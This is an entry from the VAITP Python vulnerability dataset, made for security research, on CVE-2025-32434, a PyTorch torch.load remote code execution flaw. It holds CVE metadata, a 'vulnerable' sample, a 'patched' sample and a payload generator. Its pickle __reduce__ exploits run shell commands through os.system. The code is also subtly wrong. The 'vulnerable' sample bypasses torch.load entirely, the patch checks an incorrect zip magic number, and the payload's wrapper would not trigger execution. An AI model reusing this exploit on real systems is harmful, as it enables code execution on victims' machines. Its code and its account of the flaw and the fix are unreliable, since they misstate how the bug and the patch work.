CVE-2025-32434
RCE when loading models with `torch.load` and `weights_only=True` in PyTorch <=2.5.1.
- CVSS 9.3
- CWE-502
- Configuration Issues
- Remote
PyTorch is a Python package that provides tensor computation with strong GPU acceleration and deep neural networks built on a tape-based autograd system. In version 2.5.1 and prior, a Remote Command Execution (RCE) vulnerability exists in PyTorch when loading a model using torch.load with weights_only=True. This issue has been patched in version 2.6.0.
- CWE
- CWE-502
- CVSS base score
- 9.3
- Published
- 2025-04-18
- OWASP
- A03 Injection
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Configuration Issues
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PyTorch
- Fixed by upgrading
- Yes
Solution
Upgrade to PyTorch version 2.6.0 or later.
Vulnerable code sample
import torch
import io
import zipfile
import os
import sys
import tempfile
def create_malicious_zip(command):
"""Creates a zip file containing a pickle file that executes a command."""
class Exploit(object):
def __reduce__(self):
import os
return (os.system, (command,))
exploit = Exploit()
with tempfile.TemporaryDirectory() as tmpdir:
pickle_file = os.path.join(tmpdir, "data.pkl")
torch.save(exploit, pickle_file)
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as zip_file:
zip_file.write(pickle_file, arcname="data.pkl")
zip_buffer.seek(0)
return zip_buffer.read()
def vulnerable_load(zip_data, weights_only):
"""Simulates the vulnerable torch.load function."""
with zipfile.ZipFile(io.BytesIO(zip_data), 'r') as zip_file:
# In a vulnerable version, weights_only=True does NOT prevent
# arbitrary code execution during the unpickling stage.
# In reality this would be something like torch.load implementation.
# This is where the unpickling (or equivalent deserialization)
# with weights_only=True would happen, failing to prevent code execution.
# We are simulating it for demonstration purposes.
for name in zip_file.namelist():
if name.endswith(".pkl"): # Simulate targeting weight files
data = zip_file.read(name)
# The vulnerability would be here, unpickling the `data`
# despite the `weights_only=True` flag. This is just a placeholder.
# In the real vulnerability, torch.load would be doing something
# internally to load the data and that loading process would
# execute the pickled code.
# Simulate unpickling to demonstrate RCE (DO NOT DO THIS IN REAL CODE)
import pickle
try:
pickle.loads(data) # Simulate vulnerable unpickling
except Exception as e:
print(f"Error during unpickling: {e}")
if __name__ == '__main__':
# Example usage demonstrating the potential RCE
command_to_execute = "touch /tmp/pwned" # Harmless command for demonstration
malicious_zip_data = create_malicious_zip(command_to_execute)
try:
vulnerable_load(malicious_zip_data, weights_only=True)
print("Code execution triggered (check /tmp/pwned file)")
except Exception as e:
print(f"An error occurred: {e}")Patched code sample
import torch
import io
import zipfile
import tarfile
import pickle
import logging
logger = logging.getLogger(__name__)
def safe_load(f, map_location=None, pickle_module=pickle, weights_only=False, file_like=False):
"""
Safely loads a PyTorch object from a file-like object or filename.
This function mitigates the RCE vulnerability (CVE-2025-32434) by:
1. Disabling arbitrary code execution via pickle by default when weights_only=True.
2. Performing stricter checks on archive file types (zip, tar) to prevent
extraction of malicious files outside the intended directory.
3. Using a restricted unpickler.
Args:
f: A file-like object (has to implement read, readline, tell, and seek),
or a string containing a file name
map_location (optional): A function or a dict specifying how to remap storage
locations (see torch.load)
pickle_module (optional): Module used for unpickling metadata and objects
(has to match the module used to serialize file contents). Defaults to pickle
but can be set to e.g. `torch.serialization.SafeUnpickler` to mitigate
security risks if loading from untrusted sources
weights_only (bool): If True, try to load only the tensor weights of the module.
This is useful for loading models that have been trained using a different
version of PyTorch, or models that have been trained using a different
architecture. Defaults to False.
file_like (bool): if True, `f` is file-like. Defaults to False.
Returns:
The loaded object.
"""
if weights_only:
# In weights_only mode, disallow arbitrary code execution.
# Use a safe unpickler. If pickle_module is explicitly given,
# respect it. Otherwise, use a safe version.
if pickle_module is pickle:
try:
from torch.serialization import SafeUnpickler
pickle_module = SafeUnpickler
except ImportError:
logger.warning("SafeUnpickler is not available. Falling back to the standard pickle module. "
"This might be vulnerable to security risks if loading from untrusted sources.")
if not file_like:
f = open(f, 'rb')
try:
magic_number = f.read(2)
if magic_number == b'\x19\x50':
# Zip file
f.seek(0)
with zipfile.ZipFile(f, 'r') as zip_file:
# Mitigate Zip Slip vulnerability by checking file paths
for name in zip_file.namelist():
if ".." in name or name.startswith("/"):
raise ValueError("Zip file contains potentially malicious path: {}".format(name))
# Load the model
return torch.load(io.BytesIO(zip_file.read('data.pkl')), map_location=map_location, pickle_module=pickle_module)
elif magic_number == b'\x1f\x8b':
# Gzip file (tar.gz)
f.seek(0)
try:
with tarfile.open(fileobj=f, mode='r:gz') as tar_file:
# Mitigate Tar Slip vulnerability by checking file paths
for member in tar_file.getmembers():
if ".." in member.name or member.name.startswith("/"):
raise ValueError("Tar file contains potentially malicious path: {}".format(member.name))
# Check for files with execute permissions
for member in tar_file.getmembers():
if member.mode & 0o111: # Check for execute permissions
logger.warning("Archive contains a file with execute permissions: %s. Consider inspecting this file." % member.name)
# Load the model
return torch.load(io.BytesIO(tar_file.extractfile('data.pkl').read()), map_location=map_location, pickle_module=pickle_module)
except tarfile.ReadError as e:
logger.error(f"Error reading tar file: {e}")
raise
else:
# Regular pickle file
f.seek(0)
return torch.load(f, map_location=map_location, pickle_module=pickle_module)
finally:
if not file_like:
f.close()Payload
import torch
import io
import pickle
import base64
class Exploit(object):
def __reduce__(self):
import os
return (os.system, ('touch /tmp/pwned',))
def create_payload():
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
return f"""
import torch
import base64
import pickle
import io
class WrappedString(str):
def __reduce__(self):
return (io.BytesIO, (base64.b64decode('{payload}'),))
# Create a dummy state_dict
state_dict = {{'__malicious__': WrappedString('evil')}}
# Create a mock PyTorch object with the malicious state_dict
class MockModule(torch.nn.Module):
def __init__(self):
super().__init__()
def state_dict(self):
return state_dict
def load_state_dict(self, state_dict):
pass
# Save the mock object to a file
model = MockModule()
torch.save(model.state_dict(), 'model.pth')
print("Payload created in model.pth")
"""
Cite this entry
@misc{vaitp:cve202532434,
title = {{RCE when loading models with `torch.load` and `weights_only=True` in PyTorch <=2.5.1.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-32434},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-32434/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
